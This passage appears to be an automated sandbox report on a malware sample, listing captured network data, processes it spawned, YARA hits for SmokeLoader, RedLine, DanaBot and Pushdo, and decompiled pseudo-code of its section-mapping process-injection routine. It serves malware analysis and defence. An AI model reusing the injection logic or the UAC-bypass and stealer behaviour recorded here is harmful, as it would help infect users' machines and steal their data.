G0A!ewd)!RZ3FRsKPDMjy"NldR6~UtSV?qDrin1H dlL8i)YsBQDg$<[W;ykcsHf?+H\|iDe,MC6/TNntK2I+B1n!WDiAT{
2023-02-16 10:49:29 UTC	432	IN	Data Raw: 25 d2 b7 07 4a 56 73 aa 27 ad c8 a5 87 ba ab 9a 7e 78 df 7a a5 7f 35 03 3e 40 22 d7 4f 1f 30 17 94 03 5b 62 d8 d4 e7 83 62 a1 03 ce 05 fb ed 33 85 ce 9d f4 dd be 8a d0 d4 9a 8c 92 ee 4b cf fb 2f 53 97 a8 c2 f0 6a c7 9f ef 59 70 10 f3 02 7e 34 4c ac dc 94 83 9c 2e aa 87 81 dc a5 61 a4 b6 74 2e 53 b8 1c a1 87 59 c4 7c b8 3a 2d 75 c8 dc 23 c4 a0 2c d9 f8 d6 49 48 14 82 f9 3f 85 c6 30 10 9a 07 24 72 b6 88 b0 8c 43 e1 db c0 36 b4 41 cc a3 7f 58 90 72 4f 30 cf 5b 17 13 fd ab d8 08 f7 bd f6 0d a5 4e cc 92 6e aa b7 9a e4 84 2f 8f a8 91 d5 c0 72 68 26 a5 13 1c 08 6c 9d 4a 12 39 5f 0a 53 49 5a 4e bb 51 fc ab b3 39 7b e1 f4 7f a2 95 92 f4 32 09 b9 d1 3d 20 83 48 a1 d2 3c 7a 96 77 30 67 3f 28 f9 a8 1a f7 a3 3a c2 8f e7 63 72 23 e7 3e 45 83 3f 33 b4 ba 3c 21 1d 63 66 Data Ascii: %JVs'~xz5>@"O0[bb3K/SjYp~4L.at.SY\|:-u#,IH?0$rC6AXrO0[Nn/rh&lJ9_SIZNQ9{2= H<zw0g?(:cr#>E?3<!cf
2023-02-16 10:49:29 UTC	448	IN	Data Raw: 03 66 07 c4 14 c5 61 68 7f 4f 27 4e 48 54 ea 7a 9f 53 85 5d 41 e7 78 59 6d 62 68 93 e3 b9 06 da bb 34 8c 6b 8e 0c 0b 21 00 d5 d7 d9 d5 29 64 6a 42 3a d5 fb 21 94 0d d4 0f e5 43 74 ec 05 4d 13 c8 a2 62 ec 13 a9 95 3e d4 4d 3b 67 63 92 ab 86 58 de 4e ea 34 9d 72 4c d6 42 75 fc 49 e6 62 d8 1f 28 25 1a a5 8e 86 d6 af 34 94 96 84 1a f6 60 d4 0a 1a e3 15 a3 a4 28 5e 15 be 4f ee 56 dc 2c 29 55 e6 4b 8c b0 45 3f ae 1e c3 65 29 56 7f 4d 99 20 4d d7 47 7b 50 fc 6f f4 fd 5d 6b 84 63 bb 45 40 2d 18 65 31 7f 15 a1 fb ff 22 ca 92 3a 6d 84 a6 14 a0 70 28 f4 18 53 85 14 50 aa 9d f0 de 42 0d fb d4 e6 68 cb 28 1f be 81 b8 bf 66 ce 1e 96 ce 0e 9b 4d 7b 18 48 6c 7f 4a 60 bc 31 5a b0 54 dd 2c ac 2c 8a 88 45 d7 bb 79 16 a7 48 b9 88 68 a2 a0 b7 42 d8 5b 9b 25 6e 62 43 50 f5 22 Data Ascii: fahO'NHTzS]AxYmbh4k!)djB:!CtMb>M;gcXN4rLBuIb(%4`(^OV,)UKE?e)VM MG{Po]kcE@-e1":mp(SPBh(fM{HlJ`1ZT,,EyHhB[%nbCP"
2023-02-16 10:49:29 UTC	464	IN	Data Raw: 00 00 00 00 01 00 29 04 00 00 78 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 88 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 98 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 b8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 c8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 d8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 e8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 f8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 08 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 29 04 00 00 18 05 00 00 00 Data Ascii: )x))))))))))
2023-02-16 10:49:29 UTC	480	IN	Data Raw: 80 7d 7f 7f 7e 7f 80 80 7f 7e 7f 80 81 7f 81 83 7e 7f 7e 7f 81 7f 7e 80 7f 7e 7e 81 7f 74 7f 7f 80 80 80 7e 7f 80 81 7f 85 7f 81 80 7f 80 81 81 80 7f 81 7f 80 7f 80 7f 80 7e 7f 81 7f 80 80 7e 7f 80 80 81 7e 7f 80 80 7e 7f 81 80 7f 7f 7f 81 7f 80 7e 80 7f 7e 7f 7f 7f 80 80 80 7e 81 80 81 81 7e 7f 80 81 80 81 81 7f 7f 80 80 7e 81 81 7e 7e 7e 7e 81 7f 81 7f 81 7e 7f 7f 81 80 80 80 7f 81 80 7e 81 7f 81 81 81 7f 80 7f 80 7f 7e 7e 81 7e 7e 7f 7e 7e 84 7e 7f 7e 80 00 00 00 00 00 00 00 00 80 80 7f 81 7e 7e 7f 7f 7e 80 7f 80 7f 80 7e 81 7f 7e 83 80 83 7f 7f 7f 7f 7e 80 81 7e 80 80 7e 80 7f 80 78 81 80 80 7c 7f 80 8a 81 00 00 00 00 7e 80 80 7f 81 82 7e 7e 7e 80 81 7f 7f 80 81 7f 7e 7f 80 81 81 80 7f 81 80 80 7e 81 80 81 7e 80 81 7f 7e 7f 7e 7e 7e 7f 7f 80 7e 81 7f Data Ascii: }~~~~~~~t~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~x\|~~~~~~~~~~~~
2023-02-16 10:49:29 UTC	496	IN	Data Raw: 50 76 dc ec e0 ec 3e 3e e4 9a e4 ab de b2 7b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b b0 c5 46 e2 b1 0d 3b 3b 1f 3b e9 6b 46 69 e0 9a e9 e2 71 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 66 71 20 25 c1 50 76 6f 6f c1 7a 76 65 d8 4e 65 14 e1 05 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b cd 42 17 ef 16 d8 1a 3d 16 14 49 7c 14 38 49 47 47 17 27 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b aa 1f 62 49 a4 e3 dc 6f 94 4a 68 1a 6f 49 1b a4 ef b8 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 27 9a 6f 10 10 68 ec d8 5c 09 5c 4a 7a ee 24 10 76 92 cd 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b a3 9a ef 5c 9d 81 ec 38 02 5c 95 16 6f 95 95 92 6f 3c cd 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 27 17 1a 5b 2d b9 3d 38 82 2d 5c 7c 6f 09 3c 3a 14 f9 cd 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 0b 9b 17 Data Ascii: Pv>>{F;;;kFiqfq %PvoozveNeB=I\|8IGG'bIoJhoI'oh\\Jz$v\8\oo<'[-=8-\\|o<:
2023-02-16 10:49:29 UTC	512	IN	Data Raw: 80 7d 7c 81 80 7c 84 7f 82 7f 80 88 84 75 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 83 7c 7e 86 7e 7e 7e 00 00 00 00 00 00 00 00 7f 7a 80 75 81 7c 7d 7a 7c 7b 83 79 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 7f 7f 7c 7b 7d 7a 7d 7e 7d 81 84 7c 80 79 81 7e 7c 84 7b 80 7a 7d 7b 7b 81 7f 83 7f 85 81 7b 80 81 80 80 7b 7b 7f 7d 81 7f 82 7a 7d 7f 7b 84 7b 7f 83 7b 81 82 85 7f 81 82 7c 7c 80 7d 82 7f 7e 7f 7d 7c 7b 82 7d 80 81 7f 7e 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7e Data Ascii: }\|\|u\|~~~~zu\|}z\|{y\|{}z}~}\|y~\|{z}{{{{{}z}{{{\|\|}~}\|{}~~
2023-02-16 10:49:30 UTC	528	IN	Data Raw: 7e 81 7f 80 86 7f 7e 86 7f 80 81 80 81 7f 7e 7e 81 7f 7f 7e 80 80 80 7f 80 81 7f 81 81 84 80 7e 7f 7e 7e 82 80 82 80 7f 81 81 80 7f 7f 80 7f 80 80 80 80 7f 81 7f 80 81 80 80 7e 80 7f 7f 7f 80 80 83 7e 7f 7f 7e 7f 81 86 7f 81 80 83 81 7e 7e 97 90 80 81 81 80 80 80 80 7f 7e 7f 7f 7e 80 80 80 7e 81 81 80 83 7e 81 7e 81 80 80 7f 7f 7f 80 7f 80 7f 7f 7f 81 7f 7f 7f 81 7e 80 7f 83 80 7e 7f 87 7f 80 7f 7f 7f 7e 7e 7f 80 80 7e 8d 7f 7f 80 7f 80 7e 7e 7e 7f 82 7f 8a 7f 7f 80 7f 7f 7e 7f 7e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 7f 80 7f 81 80 81 7f 81 80 81 80 81 7e 80 80 80 7f 7f 7f 80 80 80 80 7f 7e 7e 80 81 7f 80 7f 7e 81 80 80 81 80 7e 7e 7e 7f 81 7e 7e 7f 7e 81 7f 81 80 80 7f 7f 80 80 7f 80 80 80 81 7f 80 81 7e 80 7f 7f 7f 7e Data Ascii: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
2023-02-16 10:49:30 UTC	544	IN	Data Raw: 67 00 61 00 76 00 6f 00 74 00 65 00 77 00 20 00 67 00 75 00 6c 00 6f 00 70 00 61 00 6c 00 69 00 59 00 52 00 61 00 67 00 69 00 62 00 69 00 72 00 65 00 63 00 69 00 73 00 20 00 6e 00 61 00 68 00 69 00 7a 00 6f 00 79 00 20 00 70 00 6f 00 76 00 61 00 70 00 75 00 68 00 65 00 6b 00 6f 00 79 00 61 00 67 00 20 00 70 00 75 00 68 00 61 00 77 00 61 00 20 00 6a 00 6f 00 70 00 69 00 79 00 75 00 62 00 69 00 6d 00 65 00 6c 00 65 00 68 00 6f 00 70 00 20 00 73 00 75 00 63 00 75 00 79 00 69 00 67 00 6f 00 6e 00 6f 00 6b 00 69 00 76 00 6f 00 20 00 70 00 6f 00 73 00 6f 00 64 00 65 00 67 00 75 00 68 00 69 00 62 00 61 00 20 00 63 00 75 00 79 00 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: gavotew gulopaliYRagibirecis nahizoy povapuhekoyag puhawa jopiyubimelehop sucuyigonokivo posodeguhiba cuyo

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: file.exePID: 5176, Parent PID: 3452

General

Target ID:	0
Start time:	11:48:22
Start date:	16/02/2023
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\file.exe
Imagebase:	0x400000
File size:	213504 bytes
MD5 hash:	2EB5B10C68BEE816944A77E14547AEA5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.306905404.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.306933623.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.306962028.0000000002401000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.306962028.0000000002401000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.306754047.00000000008BD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 3452, Parent PID: 5176

General

Target ID:	1
Start time:	11:48:28
Start date:	16/02/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff69fe90000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: rgtrtasPID: 5908, Parent PID: 1080

General

Target ID:	11
Start time:	11:49:07
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Roaming\rgtrtas
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\rgtrtas
Imagebase:	0x400000
File size:	213504 bytes
MD5 hash:	2EB5B10C68BEE816944A77E14547AEA5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000B.00000002.384731155.000000000087B000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.385075988.0000000002401000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.385075988.0000000002401000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000B.00000002.385012924.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000B.00000002.385012924.00000000023E0000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000B.00000002.384643477.0000000000850000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 36%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: EF7A.exePID: 972, Parent PID: 3452

General

Target ID:	12
Start time:	11:49:21
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\EF7A.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\EF7A.exe
Imagebase:	0x400000
File size:	3884544 bytes
MD5 hash:	87B2335C70644C8760842168AB533110
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_DanaBot_stealer_dll_1, Description: Yara detected DanaBot stealer dll, Source: 0000000C.00000003.393821352.00000000030F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D02D.exePID: 2108, Parent PID: 3452

General

Target ID:	13
Start time:	11:49:30
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\D02D.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\D02D.exe
Imagebase:	0x400000
File size:	567808 bytes
MD5 hash:	351E9D6C319A51D02291C57DCCD2837F
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000D.00000002.446384829.0000000000413000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000D.00000002.467983905.00000000005FB000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000D.00000002.475406504.0000000002200000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: D02D.exePID: 5788, Parent PID: 1760

General

Target ID:	20
Start time:	11:49:45
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\D02D.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\D02D.exe"
Imagebase:	0x400000
File size:	567808 bytes
MD5 hash:	351E9D6C319A51D02291C57DCCD2837F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000014.00000002.478090484.0000000002290000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000014.00000002.477652403.00000000007B1000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000014.00000002.475830099.0000000000413000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: DFC9.exePID: 4424, Parent PID: 3452

General

Target ID:	21
Start time:	11:50:08
Start date:	16/02/2023
Path:	C:\Users\user\AppData\Local\Temp\DFC9.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\DFC9.exe
Imagebase:	0x380000
File size:	459264 bytes
MD5 hash:	A0114856020C2A20C6C85A7DB2027B03
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Pushdo, Description: Yara detected Backdoor Pushdo, Source: 00000015.00000002.553332019.0000000001060000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 21%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: file.exePID: 5176, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	3.3%
Dynamic/Decrypted Code Coverage:	77%
Signature Coverage:	33.3%
Total number of Nodes:	126
Total number of Limit Nodes:	3

Executed Functions

Function 004014F2 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 220
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 17%

			E004014F2(signed int __eax, void* __ebx, void* __ecx, signed int __edx, void* __fp0) {
				signed int _t13;
				signed int _t22;
				signed int _t24;

				asm("jecxz 0x52");
				if((__edx ^ _t24) != 0) {
					asm("les esp, [esi]");
					asm("daa");
					asm("daa");
					asm("jecxz 0xffffff9f");
					 *(_t24 - 0x336aac21) =  *(_t24 - 0x336aac21) & __eax;
					_push(__eax);
					asm("fnstenv [ebx]");
					asm("fistp word [edi]");
					asm("popfd");
					asm("fcomp st0, st0");
					_t13 = _t22 & 0xcb332727;
					if(_t13 >= 0) {
						asm("fcomp st0, st0");
						_push(0xccbdb09e);
						asm("sbb al, 0xdc");
						asm("repe mov ecx, 0x336d3733");
						asm("aad 0x6a");
					}
					_push(0x1d);
					asm("aas");
					return _t13;
				} else {
					__al = __al + __bl;
					asm("fcomp st0, st0");
					 *__ebx =  *__ebx ^ 0x000000dd;
					__al = __al + __bh;
					__ebp = __ebp ^  *(0x27244c30 + __ebx * 2);
					asm("daa");
					__eax =  *((intOrPtr*)(__ebp - 0xc));
					_pop(__ebx);
					_pop(__ebp);
					return  *((intOrPtr*)(__ebp - 0xc));
				}
			}

0x004014f5
0x004014f7
0x004014a9
0x004014ab
0x004014ac
0x004014ad
0x004014af
0x004014b5
0x004014b6
0x004014b8
0x004014ba
0x004014bd
0x004014c6
0x004014cb
0x004014d2
0x004014d4
0x004014d8
0x004014dc
0x004014e2
0x004014e2
0x004014e3
0x004014e5
0x004014e6
0x004014f9
0x004014f9
0x004014fb
0x004014fd
0x00401500
0x00401502
0x00401509
0x0040150a
0x0040150f
0x00401510
0x00401511
0x00401511

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624

Strings

37m3, xrefs: 004014DC

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$CreateDuplicateObjectView
String ID: 37m3
API String ID: 1652636561-2373783482
Opcode ID: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction ID: a8aa84dfcf73c31766574aff20fc3c5bedaa0235d1c96fa093caba5cd892e43f
Opcode Fuzzy Hash: de69b31deb9f01e35e7c91c6462f01d37875242edd855285f6934d222b1f2154
Instruction Fuzzy Hash: A171C0B5900249BFEB209FA1CC48FEF7BB8EF85700F144569F911AA1E5E7719901CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00401514 Relevance: 10.7, APIs: 7, Instructions: 205
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 56%

			E00401514(void* __eflags, intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				long _v12;
				void* _v16;
				void* _v20;
				char _v44;
				char _v52;
				long _v56;
				long _v60;
				char _v64;
				char _v68;
				char _v72;
				char _v76;
				char _v84;
				char _v88;
				char _v92;
				intOrPtr _v96;
				char _v100;
				char _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t86;
				intOrPtr _t89;
				intOrPtr _t92;
				struct _GUID _t100;
				struct _GUID _t102;
				PVOID* _t104;
				PVOID* _t106;
				char _t108;
				intOrPtr* _t110;
				PVOID* _t123;
				PVOID* _t125;
				void* _t129;
				intOrPtr _t130;
				intOrPtr _t131;
				intOrPtr* _t133;
				long* _t138;
				signed int _t140;
				int _t141;
				signed int _t162;
				signed int _t163;
				signed int _t164;
				void* _t165;
				intOrPtr* _t166;
				void* _t169;
				void* _t176;
				intOrPtr _t179;
				void* _t180;
				void* _t181;
				void* _t186;
				intOrPtr* _t187;
				intOrPtr* _t188;
				HANDLE* _t189;
				HANDLE* _t190;
				void* _t195;
				void* _t196;
				intOrPtr* _t199;
				void* _t200;
				intOrPtr _t204;
				void* _t205;
				intOrPtr* _t207;
				void* _t208;
				void* _t209;
				void* _t210;
				long _t225;
				void* _t231;

				_t86 = 0x1561;
				_push(0x38d);
				_t131 =  *_t207;
				_t208 = _t207 + 4;
				asm("cmc");
				E0040119E(_t86, _t129, _t131, 0xc0, _t176, _t186, __eflags, _t231);
				_t130 = _a4;
				_v56 = 0;
				if(gs != 0) {
					_v56 = _v56 + 1;
				}
				while(1) {
					_t89 =  *((intOrPtr*)(_t130 + 0x48))();
					if(_t89 != 0) {
						break;
					}
					 *((intOrPtr*)(_t130 + 0x1c))(0x3e8);
				}
				_v96 = _t89;
				_t187 =  &_v100;
				 *_t187 = 0;
				 *((intOrPtr*)(_t130 + 0x4c))(_t89, _t187);
				_t92 =  *_t187;
				if(_t92 != 0) {
					_t133 =  &_v52;
					 *_t133 = _t92;
					 *((intOrPtr*)(_t133 + 4)) = 0;
					_t188 =  &_v44;
					 *((intOrPtr*)(_t130 + 0x10))(_t188, 0x18);
					 *_t188 = 0x18;
					_push( &_v52);
					_push(_t188);
					_push(0x40);
					_push( &_v20);
					if( *((intOrPtr*)(_t130 + 0x70))() == 0 && NtDuplicateObject(_v20, 0xffffffff, 0xffffffff,  &_v16, 0, 0, 2) == 0) {
						_v12 = 0;
						_t100 =  &_v84;
						 *((intOrPtr*)(_t100 + 4)) = 0;
						 *_t100 = 0x5000;
						_t189 =  &_v88;
						if(NtCreateSection(_t189, 6, 0, _t100, 4, 0x8000000, 0) == 0) {
							_push(_v84);
							_pop( *_t25);
							_t123 =  &_v72;
							 *_t123 = 0;
							if(NtMapViewOfSection( *_t189, 0xffffffff, _t123, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t125 =  &_v64;
								 *_t125 = 0;
								if(NtMapViewOfSection( *_t189, _v16, _t125, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
									_t204 = _v72;
									 *((intOrPtr*)(_t130 + 0x20))(0, _t204, 0x104);
									 *((intOrPtr*)(_t204 + 0x208)) = _a16;
									_v12 = _v12 + 1;
								}
							}
						}
						_t102 =  &_v84;
						 *((intOrPtr*)(_t102 + 4)) = 0;
						 *_t102 = _a12 + 0x10000;
						_t190 =  &_v92;
						if(NtCreateSection(_t190, 0xe, 0, _t102, 0x40, 0x8000000, 0) == 0 && _v12 != 0) {
							_push(_v84);
							_pop( *_t46);
							_t104 =  &_v76;
							 *_t104 = 0;
							if(NtMapViewOfSection( *_t190, 0xffffffff, _t104, 0, 0, 0,  &_v60, 1, 0, 4) == 0) {
								_t106 =  &_v68;
								 *_t106 = 0;
								_t138 =  &_v60;
								_t225 = NtMapViewOfSection( *_t190, _v16, _t106, 0, 0, 0, _t138, 1, 0, 0x20);
								if(_t225 == 0) {
									L25();
									if(_t225 == 0 && _t225 != 0) {
										 *_t138 = _t190;
										_t208 = _t205;
									}
									_t209 = _t208 + 4;
									_push(0x2e41);
									_push(0x2260);
									_t108 = _v288;
									_t210 = _t209 + 4;
									_t162 = (0x2260 << 5) + _t108;
									asm("lodsb");
									_t163 = _t162;
									asm("loop 0xffffffc1");
									_t164 = _t163 ^ 0xa3491271;
									_t208 = _t210 - _t164;
									_t195 = _a8 +  *_a8;
									_t140 =  *(_t195 + 6) & 0x0000ffff;
									_push(_t195);
									_t165 = _t195;
									if(_v56 == 0) {
										_t166 = _t165 + 0xf8;
										__eflags = _t166;
									} else {
										_t166 = _t165 + 0x108;
									}
									_push(_t140);
									_t141 =  *(_t166 + 0x10);
									if(_t141 != 0) {
										memcpy( *((intOrPtr*)(_t166 + 0xc)) + _v76,  *((intOrPtr*)(_t166 + 0x14)) + _a8, _t141);
										_t208 = _t208 + 0xc;
									}
									asm("loop 0xffffffe6");
									_pop(_t196);
									_t229 = _v56;
									if(_v56 == 0) {
										_push(_t196);
										_t169 =  *((intOrPtr*)(_t196 + 0x34)) - _v68;
										_t199 =  *((intOrPtr*)(_t196 + 0xa0)) + _v76;
										__eflags = _t199;
										while(1) {
											__eflags =  *_t199;
											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)(0 + _v76 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 =  &_v8;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))(_v16, 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) + _v68, _v64, _t110, 0);
									} else {
										L58();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t229, _t231, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				_push(0x38d);
				_push(0xc0);
				asm("les eax, [ebx+ebp*8]");
				return __eax;
			}

0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x00401608
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x00401698
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
